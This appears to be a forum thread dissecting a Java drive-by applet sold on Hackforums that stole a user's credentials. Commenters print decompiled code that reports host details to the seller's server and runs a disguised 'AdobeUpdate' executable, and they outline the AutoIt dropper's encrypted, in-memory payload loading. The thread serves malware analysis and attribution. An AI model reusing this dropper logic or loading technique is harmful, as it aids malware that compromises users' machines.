Now, the thing is, I don't think the forum user mentioned clicking anything. However, it's possible they've stolen the signature from something else, which that person has previously chosen to "Always Accept"? (I don't know if Java lets you do that)
Here's the warning screen that comes up when you load it: http://i.imgur.com/sXDoFLt.png Note the self-signed certificate from "North Sumatra".
Gotta say, I have no sympathy for someone who clicks through that warning screen and then complains that their credentials got stolen.
"I then discovered that the site is loaded with a java script which, based on an initial analysis by my java programmer friend, is a 0 day java exploit with a cross site injection attack, which automatically started."
Unless there is somewhere you can buy a java signature with bitcoins.
/insert.php?o=*os.name*&u=*APPDATA*&ip=java.io.tmpdir&e=*APPSTATE*
Then it tries to execute the exe:
System.getenv("APPDATA") + "\\AdobeUpdate-Setup1.84.exe";
Now normally it wouldn't be able to execute the exe (no access to the filesystem), but it looks like the applet requests elevated permissions from the user to allow it to access/run files.
>Paypal E-Mail:
>Hackforums Profile Link:
That means this is a service for script kiddies, they've sold this exploit as a service.
EDIT: Hackforums is basically a public internet forum where people openly discuss "hacking" and sell "hacking" tools. I've seen another example, a DDOS service, with an almost empty homepage but login and register actions.
(Why someone would be stupid enough to sell their product from the same domain it reports back to is beyond me, though. Especially since they put credits on it.)
EDIT 2: BINGO! http://www.hackforums.net/showthread.php?tid=3262851&hig... (the forum thread where the product is sold!)
Galaxy JDB is sort for "Galaxy Java Drive-By", apparently.
EDIT 3: Product image here, for people without hackforums accounts: http://i5.minus.com/iq2n2GtUjGHpW.png
Oh wow. "Noob friendly". "Free hosting". "Website Cloner". Only $40 for 6 months...
Here's a mnetion from 2011:
(http://answers.microsoft.com/en-us/windows/forum/windows_7-s...)
So, someone using an OS heavily targeted by malware decides not to use anti-malware software, and to have javascript and apparently java enabled in the browser, and then chooses to visit an URL advertised in a chat window - that URL is unknown to that person, does not match the URL they're on but claims a link to the URL they're on, etc etc.
It's a shame someone got robbed, and the responsibility is clearly on the criminal to not engage in criminal behaviour.
But come on; don't just give them your money.
EDIT: I just read the first answer to the MS post above. It's baffling.
> On reflection the best and easiest recourse might be to just tell AVG to "ignore" this "infection." Is this thing actually a virus? or an infection? I have seen no operational problems, nothing in chkdsk, sfc, Registry Mechanic, etc., to concern me.
Totally unrelated to MtGox but: someone has anti-malware software. That software tells them it's found an infected file. There's no evidence this is a false positive. Rather than wipe and re-install (a distressingly unpopular choice) or using anti-malware tools to clean the infection the advice is to train the software to ignore the infection.
MS is stuffed. There is nothing they can do to repair their malware reputation when the users are that stupid.
I wouldn't try to convince someone else they had a false positive without positively identifying the files in question though.
But they also say, just because you're paranoid it doesn't mean they aren't after you.
So I'd say this may very well be the authors of the malware astroturfing and trying to fool others into ignoring it
You can run the AutoIt3 script through Exe2Aut (an AutoIt decompiler) and you'll find a pretty mundane remote access toolkit which inserts itself into \Run, checks to see if it's running in a variety of virtualized environments, and, if it's not, can start one of a couple different remote control payloads. It looks like it's got a rudimentary Facebook credentials theft mechanism in its first stage as well.
This is a pretty common for-sale driveby script kiddie exploit - it's depressing how effective these still are.
Here it is cleaned up: http://pastebin.com/raw.php?i=neP9qXGM
Seems like yet another dropper, not the actual bad thing.
Payload 1: binary image that is in the shell() function.
Payload 2: between "\\carbons\\" and "//J_Y//" in original exe. It is encrypted with RC2, the password is in an INI which should be elsewhere in the exe - the script refers to @ScriptFullPath->"crypted"->"key" where crypted is the INI section name and key is the key name.
Both payloads are converted to DLL format in-memory, then Payload 1 is executed in the context of another window using CallWindowProcW, passing a pointer to Payload 2 to it.
Decompiled version of Payload 1 (embedded hex): http://pastebin.com/kxT9NskV
There is an area of null bytes at 0x1c...0x53. I deleted 1 byte, 0x00, from it so that the beginning 'call 0x54' lines up with an instruction. Not sure if that is correct.
If anyone gets a chance I'd appreciate a copy of the original AutoIt binary package (email in profile.)
Perhaps a .Net decompiler could help. Reflector used to be the only good tool around, but since it became a paid tool, other free ones have sprung up. dotPeek is one (no idea how good it is).
Thats some dodgy java code right there. (You should use .equals() )
Decompile is irrelevant here, the only difference is 'str1' might have been named something different in the original code.
This is java code, so "string" != "string" will usually return true always, as you are checking if the objects are equal and not whether the contents are equal. Depending on the JRE this code runs on, it would give different output. [1]
[1] http://stackoverflow.com/questions/513832/how-do-i-compare-s...
Chapter and verse: JLS §3.10.5, http://docs.oracle.com/javase/specs/jls/se7/html/jls-3.html#...
> String a = "foo";
vs.
> String a = new String("foo");
"Any two identical literals"
The second 'a' is not a literal.
The problem with using == is maintainability and silent failure. Someone may change the program to accept the string from the command line, or just about anything else. As soon as this happens, a string can come in from elsewhere and still have the value "yes" but would still pass the inequality.
This bug would be completely silent and incredibly difficult to debug, possibly only arising in strange and unusual circumstances. The only way to really avoid this is to just use .equals() always. Using == for strings in Java is plain terrible coding, and the OP is therefore correct.
http://www.hackforums.net/member.php?action=profile&uid=...
So let's look at their recent posts:
http://www.hackforums.net/search.php?action=results&sid=...
>RE: Bitcoin prices collapse over $100 in a matter of hours
http://www.hackforums.net/showthread.php?tid=3398170&pid...
>RE: Buying 10+ BTC via Bank Transfer / Western Union
http://www.hackforums.net/showthread.php?tid=3392974&pid...
So this person knows what Bitcoin is and has some to sell.
Hmm, let's look much further back in their history.
> RE: Ψ #1 [SILENT JAVA DRIVE BY] FoxxyJava [0/37]★ FREE HOSTING ★ SPREAD FASTER! ★ [$20] Ψ
>Vouch for this amazing jdb. Keep good work. He is ALWAYS disponible for his clients. He helped me alot.
http://www.hackforums.net/showthread.php?tid=3005399&pid...
FoxyJava is a Java Drive-By, similar to this GalaxyJDB the exploit used. I wonder if he has also used GalaxyJDB? I can't see any replies, but it's possible. Let's go to the galaxyjdb site and see if the person who programmed the login was dumb enough to check username and password seperately: http://galaxyjdb.com/index.php?a=Login
...sadly not, it would seem. So I can't prove they use GalaxyJDB, or that this is even the person we're after, but I think it's very likely.
Flaw: someone could potentially have tried the same thing before me and accidentally registered it.
String str2 = System.getenv("APPDATA");
String str5 = str2 + "\\";
String str6 = "AdobeUpdate-Setup1.84##e";
String str9 = str5.concat(str6.replace("##", ".ex"));
Runtime.getRuntime().exec(str9);C:\Users\<username>\AppData\Roaming\AdobeUpdate-Setup1.84.exe
Just appears to be a rudimentary attempt at obfuscating the executable path.
The question is, how come the JVM is allowing Runtime.getRuntime().exec() to be called.
Runtime.getRuntime().exec(str9);
Oracle really need to change that, there should be flashing red lights (alright, maybe not flashing) on that dialogue, otherwise any previously valid signature on a Java applet will be happily trusted by the majority of the internet.
Also, I noticed that in the comments on the bitcointalk site, that many people are blaming this on windows. I know the payload is an EXE, but has anyone analysed it and checked if this applies to other OS's as well? If this is (as the author claims) a Java 0-day attack it may well work on other operating systems, and for other purposes. I personally suspect this is a matter of the author accidentally granting permissions to an app that he shouldn't have, but it sounds like this "AdobeUpdate-Setup1.84.exe" could do with some analysis.
Edit: Apparently the applet was signed, hence no exploit needed.